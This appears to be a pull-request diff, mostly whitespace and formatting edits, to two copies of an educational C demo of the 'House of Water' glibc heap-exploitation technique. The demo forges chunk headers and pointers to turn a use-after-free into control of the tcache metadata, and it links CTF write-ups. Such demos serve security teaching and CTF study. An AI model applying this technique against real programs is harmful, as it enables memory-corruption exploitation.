Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 36 additions & 37 deletions glibc_2.32/house_of_water.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,12 @@
#include <assert.h>

/*
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
* metadata control primitive.
*
* Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
* There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
* An article explaining this newer variant and its differences from the original House of Water can be found at:
* An article explaining this newer variant and its differences from the original House of Water can be found at:
* https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
*
* The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
Expand Down Expand Up @@ -52,7 +52,7 @@ int main(void) {

// Step 1: Create the unsorted bins linked list, used for hijacking at a later time

puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
puts("chunk-consolidation and sets our target for the house of water attack.");
puts("\t- chunks:");

Expand Down Expand Up @@ -98,7 +98,7 @@ int main(void) {
puts("");

// Free t-cache entries
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
puts("instead of the t-cache or small-bins.");
for (int i = 0; i < 7; i++) {
Expand All @@ -113,20 +113,19 @@ int main(void) {
puts("\n");

// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!

puts("Here comes the trickiest part!\n");

puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n"
"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
puts("We want it such that it points to the chunk header of our small bin entries,\n"
"and not at the chunk itself which is common for t-cache.\n");
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n");
puts("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
puts("We want it such that it points to the chunk header of our small bin entries,\n");
puts("and not at the chunk itself which is common for t-cache.\n");

puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end.");
puts("");


puts("It should look like the following:");
puts("");

Expand All @@ -138,13 +137,13 @@ int main(void) {
puts("small_end:");
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
dump_memory(small_end, 2);

puts("\n");
puts("If you want to see a blind example using only double free, see the following chal: ");
puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki");
puts("");
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
puts("");
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
puts("\n");

puts("For the sake of simplicity, let's just simulate an arbitrary free primitive.");
Expand All @@ -159,7 +158,7 @@ int main(void) {
// Step 3 part 1:
puts("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.");
printf("\t*%p-0x18 = 0x331\n", small_start);
*(long*)(small_start-0x18) = 0x331;
*(long*)(small_start-0x18) = 0x331;
puts("");

puts("This creates a 0x331 entry just above small_start, which looks like the following:");
Expand All @@ -173,7 +172,7 @@ int main(void) {
puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to");
puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
printf("\t*%p-0x8 = 0x91\n", small_start);
*(long*)(small_start-0x8) = 0x91;
*(long*)(small_start-0x8) = 0x91;
puts("");

puts("Now, let's do the same for small_end except using a 0x321 faked chunk.");
Expand All @@ -188,7 +187,7 @@ int main(void) {
// Step 3 part 2:
puts("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:");
printf("\t*%p-0x18 = 0x321\n", small_end);
*(long*)(small_end-0x18) = 0x321;
*(long*)(small_end-0x18) = 0x321;
puts("");

puts("This creates a 0x321 just above small_end, which looks like the following:");
Expand All @@ -201,7 +200,7 @@ int main(void) {

puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
printf("\t*%p-0x8 = 0x91\n", small_end);
*(long*)(small_end-0x8) = 0x91;
*(long*)(small_end-0x8) = 0x91;
puts("");


Expand All @@ -212,7 +211,7 @@ int main(void) {
puts("\n");

// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
// then allocate large chunk that will sort the unsorted bin into small bins.
// then allocate large chunk that will sort the unsorted bin into small bins.

puts("Now, let's free the the chunks into the unsorted bin.");

Expand All @@ -227,10 +226,10 @@ int main(void) {

puts("\n");

puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
_ = malloc(0x700);
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
_ = malloc(0x700);

puts("");
puts("");

// Show the setup as is

Expand Down Expand Up @@ -266,16 +265,16 @@ int main(void) {
puts("");

// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.

/* VULNERABILITY */
printf("\t- small_start:\n");
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
*(unsigned long *)small_start = (unsigned long)(metadata+0x200);
puts("");

printf("\t- small_end:\n");
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
puts("");
/* VULNERABILITY */
Expand All @@ -297,22 +296,22 @@ int main(void) {
// Step 6: allocate to win
puts("Now, simply just allocate our fake chunk which is placed inside the small bin");
puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to");
puts("service the allocation from the small bin.");
puts("service the allocation from the small bin.");

for(int i = 7; i > 0; i--)
_ = malloc(0x88);
for(int i = 7; i > 0; i--)
_ = malloc(0x88);

// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
_ = malloc(0x88);
_ = malloc(0x88);
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
_ = malloc(0x88);
_ = malloc(0x88);


// Next allocation *could* be our faked chunk!
// Next allocation *could* be our faked chunk!
void *meta_chunk = malloc(0x88);

printf("\t\tNew chunk\t @ %p\n", meta_chunk);
printf("\t\tt-cache metadata @ %p\n", metadata);
assert(meta_chunk == (metadata+0x210));
assert(meta_chunk == (metadata+0x210));

puts("");
puts("");
}
73 changes: 36 additions & 37 deletions glibc_2.33/house_of_water.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,12 @@
#include <assert.h>

/*
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
* metadata control primitive.
*
* Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
* There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
* An article explaining this newer variant and its differences from the original House of Water can be found at:
* An article explaining this newer variant and its differences from the original House of Water can be found at:
* https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
*
* The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
Expand Down Expand Up @@ -52,7 +52,7 @@ int main(void) {

// Step 1: Create the unsorted bins linked list, used for hijacking at a later time

puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
puts("chunk-consolidation and sets our target for the house of water attack.");
puts("\t- chunks:");

Expand Down Expand Up @@ -98,7 +98,7 @@ int main(void) {
puts("");

// Free t-cache entries
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
puts("instead of the t-cache or small-bins.");
for (int i = 0; i < 7; i++) {
Expand All @@ -113,20 +113,19 @@ int main(void) {
puts("\n");

// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!

puts("Here comes the trickiest part!\n");

puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n"
"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
puts("We want it such that it points to the chunk header of our small bin entries,\n"
"and not at the chunk itself which is common for t-cache.\n");
puts("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n");
puts("pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.");
puts("We want it such that it points to the chunk header of our small bin entries,\n");
puts("and not at the chunk itself which is common for t-cache.\n");

puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end.");
puts("");


puts("It should look like the following:");
puts("");

Expand All @@ -138,13 +137,13 @@ int main(void) {
puts("small_end:");
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
dump_memory(small_end, 2);

puts("\n");
puts("If you want to see a blind example using only double free, see the following chal: ");
puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki");
puts("");
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
puts("");
puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
puts("\n");

puts("For the sake of simplicity, let's just simulate an arbitrary free primitive.");
Expand All @@ -159,7 +158,7 @@ int main(void) {
// Step 3 part 1:
puts("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.");
printf("\t*%p-0x18 = 0x331\n", small_start);
*(long*)(small_start-0x18) = 0x331;
*(long*)(small_start-0x18) = 0x331;
puts("");

puts("This creates a 0x331 entry just above small_start, which looks like the following:");
Expand All @@ -173,7 +172,7 @@ int main(void) {
puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to");
puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
printf("\t*%p-0x8 = 0x91\n", small_start);
*(long*)(small_start-0x8) = 0x91;
*(long*)(small_start-0x8) = 0x91;
puts("");

puts("Now, let's do the same for small_end except using a 0x321 faked chunk.");
Expand All @@ -188,7 +187,7 @@ int main(void) {
// Step 3 part 2:
puts("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:");
printf("\t*%p-0x18 = 0x321\n", small_end);
*(long*)(small_end-0x18) = 0x321;
*(long*)(small_end-0x18) = 0x321;
puts("");

puts("This creates a 0x321 just above small_end, which looks like the following:");
Expand All @@ -201,7 +200,7 @@ int main(void) {

puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
printf("\t*%p-0x8 = 0x91\n", small_end);
*(long*)(small_end-0x8) = 0x91;
*(long*)(small_end-0x8) = 0x91;
puts("");


Expand All @@ -212,7 +211,7 @@ int main(void) {
puts("\n");

// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
// then allocate large chunk that will sort the unsorted bin into small bins.
// then allocate large chunk that will sort the unsorted bin into small bins.

puts("Now, let's free the the chunks into the unsorted bin.");

Expand All @@ -227,10 +226,10 @@ int main(void) {

puts("\n");

puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
_ = malloc(0x700);
puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
_ = malloc(0x700);

puts("");
puts("");

// Show the setup as is

Expand Down Expand Up @@ -266,16 +265,16 @@ int main(void) {
puts("");

// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.

/* VULNERABILITY */
printf("\t- small_start:\n");
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
printf("\t\t*%p = %p\n", small_start, metadata+0x200);
*(unsigned long *)small_start = (unsigned long)(metadata+0x200);
puts("");

printf("\t- small_end:\n");
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
printf("\t\t*%p = %p\n", small_end, metadata+0x200);
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
puts("");
/* VULNERABILITY */
Expand All @@ -297,22 +296,22 @@ int main(void) {
// Step 6: allocate to win
puts("Now, simply just allocate our fake chunk which is placed inside the small bin");
puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to");
puts("service the allocation from the small bin.");
puts("service the allocation from the small bin.");

for(int i = 7; i > 0; i--)
_ = malloc(0x88);
for(int i = 7; i > 0; i--)
_ = malloc(0x88);

// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
_ = malloc(0x88);
_ = malloc(0x88);
// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
_ = malloc(0x88);
_ = malloc(0x88);


// Next allocation *could* be our faked chunk!
// Next allocation *could* be our faked chunk!
void *meta_chunk = malloc(0x88);

printf("\t\tNew chunk\t @ %p\n", meta_chunk);
printf("\t\tt-cache metadata @ %p\n", metadata);
assert(meta_chunk == (metadata+0x210));
assert(meta_chunk == (metadata+0x210));

puts("");
puts("");
}
Loading